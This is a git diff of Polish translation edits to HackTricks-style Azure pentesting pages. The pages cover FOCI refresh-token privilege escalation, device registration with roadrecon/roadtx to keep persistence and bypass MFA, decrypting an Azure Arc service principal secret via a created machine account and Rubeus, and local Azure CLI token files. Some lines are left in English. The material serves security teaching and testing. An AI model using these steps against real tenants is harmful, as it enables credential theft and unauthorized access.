 - **Zgoda:** Proces, w którym właściciel zasobów przyznaje aplikacji klienckiej pozwolenie na dostęp do zasobów z określonymi zakresami.
@@ -24,37 +24,37 @@ Entra ID to platforma zarządzania tożsamością i dostępem (IAM) w chmurze fi
 
 - Microsoft 365 wykorzystuje Azure AD do IAM i składa się z wielu aplikacji OAuth "pierwszej strony".
 - Aplikacje te są głęboko zintegrowane i często mają wzajemne relacje serwisowe.
-- Aby uprościć doświadczenia użytkowników i zachować funkcjonalność, Microsoft przyznaje "domyślną zgodę" lub "wstępną zgodę" tym aplikacjom pierwszej strony.
-- **Domyślna zgoda:** Niektóre aplikacje automatycznie **otrzymują dostęp do określonych zakresów bez wyraźnej zgody użytkownika lub administratora**.
+- Aby uprościć doświadczenia użytkowników i zachować funkcjonalność, Microsoft przyznaje tym aplikacjom "domyślną zgodę" lub "wstępną zgodę".
+- **Domyślna Zgoda:** Niektóre aplikacje automatycznie **otrzymują dostęp do określonych zakresów bez wyraźnej zgody użytkownika lub administratora**.
 - Te wstępnie wyrażone zgody są zazwyczaj ukryte zarówno przed użytkownikami, jak i administratorami, co sprawia, że są mniej widoczne w standardowych interfejsach zarządzania.
 
-**Typy aplikacji klienckich:**
+**Typy Aplikacji Klienckich:**
 
-1. **Klienci poufni:**
+1. **Klienci Poufni:**
 - Posiadają własne poświadczenia (np. hasła lub certyfikaty).
 - Mogą **bezpiecznie uwierzytelniać się** na serwerze autoryzacji.
-2. **Klienci publiczni:**
+2. **Klienci Publiczni:**
 - Nie mają unikalnych poświadczeń.
 - Nie mogą bezpiecznie uwierzytelniać się na serwerze autoryzacji.
-- **Implikacja bezpieczeństwa:** Atakujący może podszyć się pod publiczną aplikację kliencką podczas żądania tokenów, ponieważ nie ma mechanizmu, który pozwalałby serwerowi autoryzacji zweryfikować legalność aplikacji.
+- **Implikacja Bezpieczeństwa:** Atakujący może podszyć się pod publiczną aplikację kliencką podczas żądania tokenów, ponieważ nie ma mechanizmu, który pozwalałby serwerowi autoryzacji zweryfikować legalność aplikacji.
 
-## Tokeny uwierzytelniające
+## Tokeny Uwierzytelniające
 
 Istnieją **trzy typy tokenów** używanych w OIDC:
 
-- [**Tokeny dostępu**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klient przedstawia ten token serwerowi zasobów, aby **uzyskać dostęp do zasobów**. Może być używany tylko dla określonej kombinacji użytkownika, klienta i zasobu i **nie może być unieważniony** do momentu wygaśnięcia - co wynosi domyślnie 1 godzinę.
+- [**Tokeny Dostępu**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Klient przedstawia ten token serwerowi zasobów, aby **uzyskać dostęp do zasobów**. Może być używany tylko dla określonej kombinacji użytkownika, klienta i zasobu i **nie może być unieważniony** do momentu wygaśnięcia - co wynosi domyślnie 1 godzinę.
 - **Tokeny ID**: Klient otrzymuje ten **token od serwera autoryzacji**. Zawiera podstawowe informacje o użytkowniku. Jest **powiązany z określoną kombinacją użytkownika i klienta**.
-- **Tokeny odświeżające**: Przyznawane klientowi wraz z tokenem dostępu. Używane do **uzyskiwania nowych tokenów dostępu i ID**. Jest powiązany z określoną kombinacją użytkownika i klienta i może być unieważniony. Domyślne wygaśnięcie wynosi **90 dni** dla nieaktywnych tokenów odświeżających i **brak wygaśnięcia dla aktywnych tokenów** (z tokena odświeżającego można uzyskać nowe tokeny odświeżające).
-- Token odświeżający powinien być powiązany z **`aud`**, z pewnymi **zakresami** i z **dzierżawą**, i powinien być w stanie generować tokeny dostępu tylko dla tego aud, zakresów (i żadnych innych) oraz dzierżawy. Jednak nie jest to prawdą w przypadku **tokenów aplikacji FOCI**.
+- **Tokeny Odświeżające**: Przyznawane klientowi wraz z tokenem dostępu. Używane do **uzyskiwania nowych tokenów dostępu i ID**. Jest powiązany z określoną kombinacją użytkownika i klienta i może być unieważniony. Domyślne wygaśnięcie wynosi **90 dni** dla nieaktywnych tokenów odświeżających i **brak wygaśnięcia dla aktywnych tokenów** (z tokena odświeżającego można uzyskać nowe tokeny odświeżające).
+- Token odświeżający powinien być powiązany z **`aud`**, z pewnymi **zakresami** i z **dzierżawcą** i powinien być w stanie generować tokeny dostępu tylko dla tego aud, zakresów (i nic więcej) oraz dzierżawcy. Jednak nie jest to przypadek z **tokenami aplikacji FOCI**.
 - Token odświeżający jest szyfrowany i tylko Microsoft może go odszyfrować.
 - Uzyskanie nowego tokena odświeżającego nie unieważnia poprzedniego tokena odświeżającego.
 
 > [!WARNING]
 > Informacje o **dostępie warunkowym** są **przechowywane** wewnątrz **JWT**. Jeśli więc zażądacie **tokena z dozwolonego adresu IP**, ten **IP** zostanie **przechowany** w tokenie, a następnie możecie użyć tego tokena z **niedozwolonego IP, aby uzyskać dostęp do zasobów**.
 
-### Tokeny dostępu "aud"
+### Tokeny Dostępu "aud"
 
-Pole wskazane w polu "aud" to **serwer zasobów** (aplikacja) używana do wykonania logowania.
+Pole wskazane w polu "aud" to **serwer zasobów** (aplikacja) używany do przeprowadzenia logowania.
 
 Polecenie `az account get-access-token --resource-type [...]` obsługuje następujące typy, a każdy z nich doda określone "aud" w wynikowym tokenie dostępu:
 
@@ -69,9 +69,9 @@ Polecenie `az account get-access-token --resource-type [...]` obsługuje następ
 - `https://graph.windows.net/`
 
 * **arm (Azure Resource Manager)**: Używane do zarządzania zasobami Azure za pośrednictwem API Azure Resource Manager. Obejmuje operacje takie jak tworzenie, aktualizowanie i usuwanie zasobów, takich jak maszyny wirtualne, konta magazynowe i inne.
-- `https://management.core.windows.net/ lub https://management.azure.com/`
+- `https://management.core.windows.net/ or https://management.azure.com/`
 
-- **batch (Azure Batch Services)**: Używane do uzyskiwania dostępu do Azure Batch, usługi, która umożliwia efektywne uruchamianie aplikacji obliczeniowych w chmurze w dużej skali.
+- **batch (Azure Batch Services)**: Używane do uzyskiwania dostępu do Azure Batch, usługi, która umożliwia efektywne uruchamianie aplikacji obliczeniowych w chmurze na dużą skalę.
 - `https://batch.core.windows.net/`
 
 * **data-lake (Azure Data Lake Storage)**: Używane do interakcji z Azure Data Lake Storage Gen1, które jest skalowalną usługą przechowywania danych i analityki.
@@ -83,16 +83,16 @@ Polecenie `az account get-access-token --resource-type [...]` obsługuje następ
 * **ms-graph (Microsoft Graph API)**: Używane do uzyskiwania dostępu do Microsoft Graph API, zjednoczonego punktu końcowego dla danych usług Microsoft 365. Umożliwia dostęp do danych i informacji z usług takich jak Azure AD, Office 365, Enterprise Mobility i usługi bezpieczeństwa.
 - `https://graph.microsoft.com`
 
-- **oss-rdbms (Azure Open Source Relational Databases)**: Używane do uzyskiwania dostępu do usług baz danych Azure dla otwartych silników baz danych, takich jak MySQL, PostgreSQL i MariaDB.
+- **oss-rdbms (Azure Open Source Relational Databases)**: Używane do uzyskiwania dostępu do usług baz danych Azure dla otwartych silników baz danych relacyjnych, takich jak MySQL, PostgreSQL i MariaDB.
 - `https://ossrdbms-aad.database.windows.net`
 
 </details>
 
-### Zakresy tokenów dostępu "scp"
+### Zakresy Tokenów Dostępu "scp"
 
-Zakres tokena dostępu jest przechowywany wewnątrz klucza scp w tokenie dostępu JWT. Te zakresy definiują, do czego token dostępu ma dostęp.
+Zakres tokena dostępu jest przechowywany wewnątrz klucza scp w tokenie JWT dostępu. Te zakresy definiują, do czego token dostępu ma dostęp.
 
-Jeśli JWT ma prawo kontaktować się z określonym API, ale **nie ma zakresu** do wykonania żądanej akcji, **nie będzie w stanie wykonać akcji** z tym JWT.
+Jeśli JWT ma prawo kontaktować się z określonym API, ale **nie ma zakresu** do wykonania żądanej akcji, **nie będzie w stanie wykonać tej akcji** z tym JWT.
 
 ### Przykład uzyskania tokena odświeżającego i dostępu
 ```python
@@ -121,7 +121,6 @@ device_flow
 pprint(azure_cli_bearer_tokens_for_graph_api)
 
 
-
 # DECODE JWT
 def decode_jwt(base64_blob: str) -> Dict[str, Any]:
 """Decodes base64 encoded JWT blob"""
@@ -147,13 +146,13 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
 ```
 ## FOCI Tokens Privilege Escalation
 
-Wcześniej wspomniano, że tokeny odświeżające powinny być powiązane z **zakresami**, z którymi zostały wygenerowane, z **aplikacją** i **dzierżawą**, dla której zostały wygenerowane. Jeśli jakikolwiek z tych ograniczeń zostanie naruszony, możliwe jest eskalowanie uprawnień, ponieważ będzie można generować tokeny dostępu do innych zasobów i dzierżaw, do których użytkownik ma dostęp, oraz z większymi zakresami, niż pierwotnie zamierzano.
+Wcześniej wspomniano, że tokeny odświeżania powinny być powiązane z **zakresami**, z którymi zostały wygenerowane, z **aplikacją** i **dzierżawą**, do której zostały wygenerowane. Jeśli jakakolwiek z tych granic zostanie naruszona, możliwe jest eskalowanie uprawnień, ponieważ będzie można generować tokeny dostępu do innych zasobów i dzierżaw, do których użytkownik ma dostęp, oraz z większymi zakresami, niż pierwotnie zamierzano.
 
-Co więcej, **jest to możliwe z wszystkimi tokenami odświeżającymi** w [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (konto Microsoft Entra, konta osobiste Microsoft oraz konta społecznościowe, takie jak Facebook i Google), ponieważ jak wspominają [**dokumenty**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Tokeny odświeżające są powiązane z kombinacją użytkownika i klienta, ale **nie są powiązane z zasobem ani dzierżawą**. Klient może użyć tokena odświeżającego do uzyskania tokenów dostępu **w dowolnej kombinacji zasobów i dzierżaw**, do których ma pozwolenie. Tokeny odświeżające są szyfrowane i tylko platforma tożsamości Microsoft może je odczytać."
+Co więcej, **jest to możliwe ze wszystkimi tokenami odświeżania** w [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (konta Microsoft Entra, konta osobiste Microsoft oraz konta społecznościowe, takie jak Facebook i Google), ponieważ jak wspominają [**dokumenty**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Tokeny odświeżania są powiązane z kombinacją użytkownika i klienta, ale **nie są powiązane z zasobem ani dzierżawą**. Klient może użyć tokenu odświeżania do uzyskania tokenów dostępu **w dowolnej kombinacji zasobów i dzierżaw**, gdzie ma na to pozwolenie. Tokeny odświeżania są szyfrowane i tylko platforma tożsamości Microsoft może je odczytać."
 
-Ponadto, należy zauważyć, że aplikacje FOCI są aplikacjami publicznymi, więc **nie jest wymagany żaden sekret** do uwierzytelnienia na serwerze.
+Ponadto, należy zauważyć, że aplikacje FOCI są aplikacjami publicznymi, więc **żaden sekret nie jest potrzebny** do uwierzytelnienia na serwerze.
 
-Zgłoszone wcześniej znane klienci FOCI w [**oryginalnych badaniach**](https://github.com/secureworks/family-of-client-ids-research/tree/main) można [**znaleźć tutaj**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
+Następnie znane klientów FOCI zgłoszone w [**oryginalnych badaniach**](https://github.com/secureworks/family-of-client-ids-research/tree/main) można [**znaleźć tutaj**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
 
 ### Get different scope
 
diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md
index 1cabbeb33..ee5440f5c 100644
--- a/src/pentesting-cloud/azure-security/az-device-registration.md
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -1,16 +1,16 @@
-# Az - Rejestracja Urządzenia
+# Az - Rejestracja urządzenia
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Podstawowe Informacje
+## Podstawowe informacje
 
 Gdy urządzenie dołącza do AzureAD, nowy obiekt jest tworzony w AzureAD.
 
-Podczas rejestracji urządzenia, **użytkownik jest proszony o zalogowanie się na swoje konto** (prosząc o MFA, jeśli to konieczne), następnie żąda tokenów dla usługi rejestracji urządzenia, a następnie prosi o ostateczne potwierdzenie.
+Podczas rejestracji urządzenia **użytkownik jest proszony o zalogowanie się na swoje konto** (prosząc o MFA, jeśli to konieczne), następnie żąda tokenów dla usługi rejestracji urządzenia, a potem prosi o ostateczne potwierdzenie.
 
-Następnie generowane są dwie pary kluczy RSA w urządzeniu: **klucz urządzenia** (**klucz publiczny**), który jest wysyłany do **AzureAD**, oraz **klucz transportowy** (**klucz prywatny**), który jest przechowywany w TPM, jeśli to możliwe.
+Następnie w urządzeniu generowane są dwie pary kluczy RSA: **klucz urządzenia** (**klucz publiczny**), który jest wysyłany do **AzureAD**, oraz **klucz transportowy** (**klucz prywatny**), który jest przechowywany w TPM, jeśli to możliwe.
 
-Następnie, **obiekt** jest generowany w **AzureAD** (nie w Intune) i AzureAD zwraca do urządzenia **certyfikat** podpisany przez siebie. Możesz sprawdzić, że **urządzenie jest dołączone do AzureAD** oraz informacje o **certyfikacie** (takie jak to, czy jest chroniony przez TPM).
+Następnie **obiekt** jest generowany w **AzureAD** (nie w Intune), a AzureAD zwraca do urządzenia **certyfikat** podpisany przez siebie. Możesz sprawdzić, że **urządzenie jest dołączone do AzureAD** oraz informacje o **certyfikacie** (np. czy jest chroniony przez TPM).
 ```bash
 dsregcmd /status
 ```
@@ -24,8 +24,8 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 
 ### TPM - Trusted Platform Module
 
-**TPM** **chroni** przed **ekstrakcją** kluczy z wyłączonego urządzenia (jeśli jest chronione PIN-em) oraz przed wydobywaniem prywatnych materiałów z warstwy systemu operacyjnego.\
-Jednak **nie chroni** przed **podsłuchiwaniem** fizycznego połączenia między TPM a CPU lub **używaniem materiałów kryptograficznych** w TPM, gdy system działa z procesu z prawami **SYSTEM**.
+**TPM** **chroni** przed **ekstrakcją** klucza z wyłączonego urządzenia (jeśli jest chronione PIN-em) oraz przed ekstrakcją prywatnych materiałów z warstwy systemu operacyjnego.\
+Jednak **nie chroni** przed **podsłuchiwaniem** fizycznego połączenia między TPM a CPU ani przed **używaniem materiałów kryptograficznych** w TPM, gdy system działa z procesu z prawami **SYSTEM**.
 
 Jeśli sprawdzisz następującą stronę, zobaczysz, że **kradzież PRT** może być użyta do uzyskania dostępu jako **użytkownik**, co jest świetne, ponieważ **PRT znajduje się na urządzeniach**, więc może być skradziony z nich (lub jeśli nie zostanie skradziony, nadużyty do generowania nowych kluczy podpisujących):
 
@@ -35,7 +35,7 @@ az-lateral-movement-cloud-on-prem/pass-the-prt.md
 
 ## Rejestracja urządzenia z tokenami SSO
 
-Możliwe byłoby, aby atakujący zażądał tokena dla usługi rejestracji urządzeń Microsoft z kompromitowanego urządzenia i zarejestrował je:
+Atakujący mógłby zażądać tokena dla usługi rejestracji urządzeń Microsoft z kompromitowanego urządzenia i zarejestrować je:
 ```bash
 # Initialize SSO flow
 roadrecon auth prt-init
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-Który da ci **certyfikat, którego możesz użyć do żądania PRT w przyszłości**. Dlatego utrzymując trwałość i **omijając MFA**, ponieważ oryginalny token PRT użyty do rejestracji nowego urządzenia **już miał przyznane uprawnienia MFA**.
+Który da ci **certyfikat, którego możesz użyć, aby w przyszłości prosić o PRT**. Dlatego utrzymując trwałość i **omijając MFA**, ponieważ oryginalny token PRT użyty do rejestracji nowego urządzenia **już miał przyznane uprawnienia MFA**.
 
 > [!TIP]
 > Zauważ, że aby przeprowadzić ten atak, będziesz potrzebować uprawnień do **rejestrowania nowych urządzeń**. Ponadto rejestracja urządzenia nie oznacza, że urządzenie będzie **dopuszczone do rejestracji w Intune**.
@@ -71,7 +71,7 @@ Możliwe było **zażądanie biletu urządzenia**, **nadpisanie** aktualnego bil
 Podsumowanie ataku:
 
 - Możliwe jest **nadpisanie** **zarejestrowanego klucza WHFB** z **urządzenia** za pomocą SSO
-- To **łama ochronę TPM**, ponieważ klucz jest **przechwytywany podczas generowania** nowego klucza
+- To **łamało ochronę TPM**, ponieważ klucz jest **przechwytywany podczas generowania** nowego klucza
 - To również zapewnia **trwałość**
 
 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
@@ -82,7 +82,7 @@ Następnie możliwe jest wygenerowanie nowego klucza za pomocą:
 ```bash
 roadtx genhellokey -d <device id> -k tempkey.key
 ```
-a następnie PATCH informacje o searchableDeviceKey:
+a następnie ZAAKTUALIZUJ informacje o searchableDeviceKey:
 
 <figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
 
@@ -94,7 +94,7 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
 
 <figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
 
-## References
+## Odniesienia
 
 - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
 - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index a62b30000..83563c241 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -55,11 +55,11 @@ brew upgrade powershell
 
 Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
 
-Polecenia w Azure CLI są zbudowane według wzoru: `az <usługa> <akcja> <parametry>`
+Polecenia w Azure CLI są zbudowane według wzoru: `az <service> <action> <parameters>`
 
 #### Debug | MitM az cli
 
-Używając parametru **`--debug`**, można zobaczyć wszystkie żądania, które narzędzie **`az`** wysyła:
+Używając parametru **`--debug`**, możliwe jest zobaczenie wszystkich żądań, które narzędzie **`az`** wysyła:
 ```bash
 az account management-group list --output table --debug
 ```
@@ -95,13 +95,13 @@ $env:HTTP_PROXY="http://127.0.0.1:8080"
 
 Azure PowerShell to moduł z cmdletami do zarządzania zasobami Azure bezpośrednio z linii poleceń PowerShell.
 
-Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
+Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
 
-Polecenia w module Azure PowerShell AZ są zbudowane w następujący sposób: `<Action>-Az<Service> <parameters>`
+Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
 
 #### Debug | MitM Az PowerShell
 
-Używając parametru **`-Debug`**, można zobaczyć wszystkie żądania, które narzędzie wysyła:
+Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
 ```bash
 Get-AzResourceGroup -Debug
 ```
@@ -123,9 +123,9 @@ Get-MgUser -Debug
 ```
 ### ~~**AzureAD Powershell**~~
 
-Moduł Azure Active Directory (AD), teraz **wycofany**, jest częścią Azure PowerShell do zarządzania zasobami Azure AD. Oferuje cmdlety do zadań takich jak zarządzanie użytkownikami, grupami i rejestracjami aplikacji w Entra ID.
+Moduł Azure Active Directory (AD), obecnie **wycofany**, jest częścią Azure PowerShell do zarządzania zasobami Azure AD. Oferuje cmdlety do zadań takich jak zarządzanie użytkownikami, grupami i rejestracjami aplikacji w Entra ID.
 
 > [!TIP]
 > Został zastąpiony przez Microsoft Graph PowerShell
 
-Postępuj zgodnie z tym linkiem, aby uzyskać [**instrukcje instalacji**](https://www.powershellgallery.com/packages/AzureAD).
+Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
index 20ccb1a7f..19fbfc070 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
@@ -28,12 +28,12 @@ Istnieją różne sposoby, w jakie maszyna może być połączona z chmurą:
 
 W Azure AD istnieją różne typy tokenów z określonymi ograniczeniami:
 
-- **Tokeny dostępu**: Używane do uzyskiwania dostępu do interfejsów API i zasobów, takich jak Microsoft Graph. Są powiązane z określonym klientem i zasobem.
+- **Tokeny dostępu**: Używane do uzyskiwania dostępu do API i zasobów, takich jak Microsoft Graph. Są powiązane z określonym klientem i zasobem.
 - **Tokeny odświeżania**: Wydawane aplikacjom w celu uzyskania nowych tokenów dostępu. Mogą być używane tylko przez aplikację, do której zostały wydane, lub grupę aplikacji.
 - **Główne tokeny odświeżania (PRT)**: Używane do jednolitych logowań na urządzeniach dołączonych do Azure AD, zarejestrowanych lub dołączonych w trybie hybrydowym. Mogą być używane w procesach logowania w przeglądarkach oraz do logowania się do aplikacji mobilnych i desktopowych na urządzeniu.
 - **Klucze Windows Hello for Business (WHFB)**: Używane do uwierzytelniania bezhasłowego. Służą do uzyskiwania głównych tokenów odświeżania.
 
-Najciekawszym typem tokenu jest główny token odświeżania (PRT).
+Najciekawszym typem tokenu jest Główny Token Odświeżania (PRT).
 
 {{#ref}}
 az-primary-refresh-token-prt.md
@@ -56,7 +56,7 @@ Z kompromitacji **AD** do kompromitacji **Chmury** i z kompromitacji **Chmury**
 
 #### [Roadtx](https://github.com/dirkjanm/ROADtools)
 
-To narzędzie pozwala na wykonanie kilku działań, takich jak rejestracja maszyny w Azure AD w celu uzyskania PRT oraz używanie PRT (legalnych lub skradzionych) do uzyskiwania dostępu do zasobów na różne sposoby. Nie są to bezpośrednie ataki, ale ułatwia to użycie PRT do uzyskiwania dostępu do zasobów na różne sposoby. Więcej informacji znajdziesz na [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
+To narzędzie pozwala na wykonanie kilku działań, takich jak rejestracja maszyny w Azure AD w celu uzyskania PRT oraz używanie PRT (legalnych lub skradzionych) do uzyskiwania dostępu do zasobów na różne sposoby. Nie są to bezpośrednie ataki, ale ułatwia to użycie PRT do uzyskiwania dostępu do zasobów na różne sposoby. Więcej informacji znajdziesz w [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
 
 ## Referencje
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index c72e23054..ce90f2fe8 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -1,10 +1,10 @@
-# Az - Arc vulnerable GPO Deploy Script
+# Az - Arc podatny skrypt wdrażania GPO
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Identifying the Issues
+### Identyfikacja problemów
 
-Azure Arc umożliwia integrację nowych wewnętrznych serwerów (serwery dołączone do domeny) z Azure Arc za pomocą metody Group Policy Object. Aby to ułatwić, Microsoft dostarcza zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 i AzureArcDeployment.psm1.
+Azure Arc umożliwia integrację nowych serwerów wewnętrznych (serwery dołączone do domeny) z Azure Arc za pomocą metody Group Policy Object. Aby to ułatwić, Microsoft udostępnia zestaw narzędzi do wdrażania niezbędny do rozpoczęcia procedury onboardingu. W pliku ArcEnableServerGroupPolicy.zip znajdują się następujące skrypty: DeployGPO.ps1, EnableAzureArc.ps1 i AzureArcDeployment.psm1.
 
 Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności:
 
@@ -13,7 +13,7 @@ Po uruchomieniu skrypt DeployGPO.ps1 wykonuje następujące czynności:
 
 Podczas uruchamiania tego skryptu, administratorzy systemów muszą podać dwa główne parametry: **ServicePrincipalId** i **ServicePrincipalClientSecret**. Dodatkowo wymaga innych parametrów, takich jak domena, FQDN serwera hostującego udział oraz nazwa udziału. Dalsze szczegóły, takie jak identyfikator najemcy, grupa zasobów i inne niezbędne informacje, muszą być również dostarczone do skryptu.
 
-Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskriptor składa się z SID-ów grupy Komputerów Domenowych i Kontrolerów Domeny, co zapewnia, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Kontrolerów Domeny i Komputerów Domenowych, jak zauważono w komentarzach skryptu.
+Szyfrowany sekret jest generowany w katalogu AzureArcDeploy na określonym udziale przy użyciu szyfrowania DPAPI-NG. Szyfrowany sekret jest przechowywany w pliku o nazwie encryptedServicePrincipalSecret. Dowody na to można znaleźć w skrypcie DeployGPO.ps1, gdzie szyfrowanie jest wykonywane przez wywołanie ProtectBase64 z $descriptor i $ServicePrincipalSecret jako wejściami. Deskryptor składa się z SID-ów grup Komputerów Domenowych i Kontrolerów Domeny, zapewniając, że ServicePrincipalSecret może być odszyfrowany tylko przez grupy zabezpieczeń Kontrolerów Domeny i Komputerów Domenowych, jak zauważono w komentarzach skryptu.
 ```powershell
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -27,7 +27,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
 Mamy następujące warunki:
 
 1. Sukcesywnie przeniknęliśmy do wewnętrznej sieci.
-2. Mamy zdolność do tworzenia lub przejmowania kontroli nad kontem komputera w Active Directory.
+2. Mamy możliwość utworzenia lub przejęcia kontroli nad kontem komputera w Active Directory.
 3. Odkryliśmy udział sieciowy zawierający katalog AzureArcDeploy.
 
 Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęstszych jest wykorzystanie kwoty konta maszyny. Inną metodą jest kompromitacja konta maszyny poprzez podatne ACL lub różne inne błędne konfiguracje.
@@ -35,7 +35,7 @@ Istnieje kilka metod uzyskania konta maszyny w środowisku AD. Jedną z najczęs
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
 ```
-Gdy uzyskamy konto maszyny, możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe.
+Po uzyskaniu konta maszyny możliwe jest uwierzytelnienie się za pomocą tego konta. Możemy użyć polecenia runas.exe z flagą netonly lub użyć pass-the-ticket z Rubeus.exe.
 ```powershell
 runas /user:fake01$ /netonly powershell
 ```
@@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell
 ```powershell
 .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
 ```
-Mając TGT dla naszego konta komputera przechowywane w pamięci, możemy użyć następującego skryptu do odszyfrowania sekretu głównego usługi.
+Mając TGT dla naszego konta komputerowego przechowywanego w pamięci, możemy użyć następującego skryptu do odszyfrowania sekretu głównego usługi.
 ```powershell
 Import-Module .\AzureArcDeployment.psm1
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
index 9708c809a..a564967ba 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -1,16 +1,16 @@
-# Az - Local Cloud Credentials
+# Az - Lokalne Poświadczenia Chmurowe
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Lokalne przechowywanie tokenów i rozważania dotyczące bezpieczeństwa
+## Lokalne Przechowywanie Tokenów i Rozważania Bezpieczeństwa
 
-### Azure CLI (Interfejs wiersza poleceń)
+### Azure CLI (Interfejs Wiersza Poleceń)
 
 Tokeny i dane wrażliwe są przechowywane lokalnie przez Azure CLI, co budzi obawy dotyczące bezpieczeństwa:
 
-1. **Tokeny dostępu**: Przechowywane w formacie tekstowym w `accessTokens.json` znajdującym się w `C:\Users\<username>\.Azure`.
-2. **Informacje o subskrypcji**: `azureProfile.json`, w tym samym katalogu, zawiera szczegóły subskrypcji.
-3. **Pliki dziennika**: Folder `ErrorRecords` w `.azure` może zawierać logi z ujawnionymi poświadczeniami, takie jak:
+1. **Tokeny Dostępu**: Przechowywane w formacie tekstowym w `accessTokens.json` znajdującym się w `C:\Users\<username>\.Azure`.
+2. **Informacje o Subskrypcji**: `azureProfile.json`, w tym samym katalogu, zawiera szczegóły subskrypcji.
+3. **Pliki Dziennika**: Folder `ErrorRecords` w `.azure` może zawierać dzienniki z ujawnionymi poświadczeniami, takie jak:
 - Wykonane polecenia z osadzonymi poświadczeniami.
 - Adresy URL uzyskane za pomocą tokenów, potencjalnie ujawniające wrażliwe informacje.
 
@@ -18,16 +18,16 @@ Tokeny i dane wrażliwe są przechowywane lokalnie przez Azure CLI, co budzi oba
 
 Azure PowerShell również przechowuje tokeny i dane wrażliwe, które można uzyskać lokalnie:
 
-1. **Tokeny dostępu**: `TokenCache.dat`, znajdujący się w `C:\Users\<username>\.Azure`, przechowuje tokeny dostępu w formacie tekstowym.
